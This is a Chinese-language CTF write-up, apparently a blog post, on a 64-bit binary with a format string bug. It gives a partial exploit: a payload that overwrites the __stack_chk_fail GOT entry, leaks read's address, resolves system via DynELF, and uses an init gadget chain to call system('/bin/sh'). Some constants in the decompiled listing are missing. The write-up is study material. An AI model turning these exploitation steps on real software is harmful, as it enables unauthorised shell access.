对于这道题,我还真的想说 what_the_fuck !!

这道题拿到就只发觉一个格式化字符串漏洞,其他的就找不到了 。

 unsigned __int64 sub_4008C5()
{
char s; // [rsp+0h] [rbp-20h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h] v2 = __readfsqword(0x28u);
printf("leave a msg: ");
memset(&s, , 0x10uLL);
read(, &s, 0x20uLL);
if ( strstr(&s, "%p") || strstr(&s, "$p") )
{
puts("do you want to leak info?");
exit();
}
printf(&s, "$p"); //漏洞所在
return __readfsqword(0x28u) ^ v2;
}

还是找了网上的wp 一边学,一边复现,这里总接下所学的。

看到这些这有一个格式化字符串漏洞,又开启了canary,可以先考虑覆盖__stack_chk_fail指向main,这样就可以利用溢出,无限往栈里写东西。

首先,在ida或者gdb调试中,把name和msg在栈中是第几个参数找出来,在64位的程序中,在64位的文件中,printf传参:现一般规则为, 当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。

 payload=l64(0x601020)                 
fd.recvuntil('input your name: ')
fd.send(payload)
fd.recvuntil('leave a msg: ')
payload='%.'+str(0x0983)+'d'+'%12$hn'+' %9$s%10$ld'
payload+='\x00'*(0x18-len(payload))
payload+=l64(0x601040)

用%.sum$n 往栈里的指针参数写东西时,sum代表的是sum+1个参数。

.got.plt: off_601020 dq offset __stack_chk_fail

got.plt: off_601040 dq offset read ; DATA XREF: _read↑r

%9$s%10$ld  这里输出了第一次main函数的ebp,还有read函数的地址

然后可以构建一个leak函数,利用pwn的DynELF()找出system函数。这些题目给有给出libc的时候可以考虑下。

这样就知道system和read的地址了,接下来就是构建栈的结构,执行read(0,addr,size)  写入/bin/sh +'\x00'+system, 然后system(/bin/sh)开启shell,关于read的参数 可以利用init里面的

 text:0000000000400A60 loc_400A60:                             ; CODE XREF: init+↓j
.text:0000000000400A60 mov rdx, r13
.text:0000000000400A63 mov rsi, r14
.text:0000000000400A66 mov edi, r15d
.text:0000000000400A69 call qword ptr [r12+rbx*]
.text:0000000000400A6D add rbx,
.text:0000000000400A71 cmp rbx, rbp
.text:0000000000400A74 jnz short loc_400A60
.text:0000000000400A76
.text:0000000000400A76 loc_400A76: ; CODE XREF: init+↑j
.text:0000000000400A76 add rsp,
.text:0000000000400A7A pop rbx
.text:0000000000400A7B pop rbp
.text:0000000000400A7C pop r12
.text:0000000000400A7E pop r13
.text:0000000000400A80 pop r14
.text:0000000000400A82 pop r15
.text:0000000000400A84 retn
.text:0000000000400A84 ; } // starts at 400A20

接下来就是构建栈,

首先在第二次就开始布局,这里就不多说了 https://www.cnblogs.com/shangye/p/6209008.html   这个大佬里面很详细。

下面我只讲一些 在理解的时候出现的问题,就是在执行call的时候会把rip push 进栈中。就是忘了 这个,,搞了大半天。一个个参数调试,烦死了

最新文章

  1. Atitit  DbServiceV4qb9 数据库查询类库v4 新特性
  2. Spring学习总结(三)——Spring实现AOP的多种方式
  3. c# datetime 格式化
  4. HDU 1251 Trie树模板题
  5. Python开发入门与实战5-django模型
  6. 重拾ZOJ 一周解题
  7. POJ2773 - Happy 2006(欧拉函数)
  8. qwt6在Windows下Qt5的编译,安装,初步使用
  9. 安卓自定义view_GDI绘图 _2d绘图_canvas绘图
  10. (诊断)为GitHub添加SSH key时出现“Could not open a connection to your authentication agent”错误的应对方案(转)
  11. WCF连接被意外关闭
  12. readline与readlines不能同时使用
  13. kernel解析dtb为节点
  14. CRM 数据查重
  15. 论文阅读:CNN-RNN: A Unified Framework for Multi-label Image Classification
  16. Windows环境下Qwt安装和使用
  17. IE下设置body{overflow:hidden;}失效Bug
  18. Spark记录-Scala基础语法
  19. 原创:微信小程序页面跳转展示缓冲提示
  20. PyCharm在win10的64位系统安装实例

热门文章

  1. 百万年薪python之路 -- 前端CSS基础介绍
  2. SpringBoot注入配置文件的3种方法
  3. spring cloud 2.x版本 Eureka Server服务注册中心教程
  4. JavaScript数据在内存中储存方式
  5. 干货 Elasticsearch 知识点整理二
  6. [py2neo]Ubuntu14 安装py2neo失败问题解决
  7. Python 中 -m 的典型用法、原理解析与发展演变
  8. vue-router动态添加路由报错
  9. STL库学习笔记(一)——什么是STL?
  10. P4873 [USACO14DEC] Cow Jog_Gold 牛慢跑(乱搞?二分?)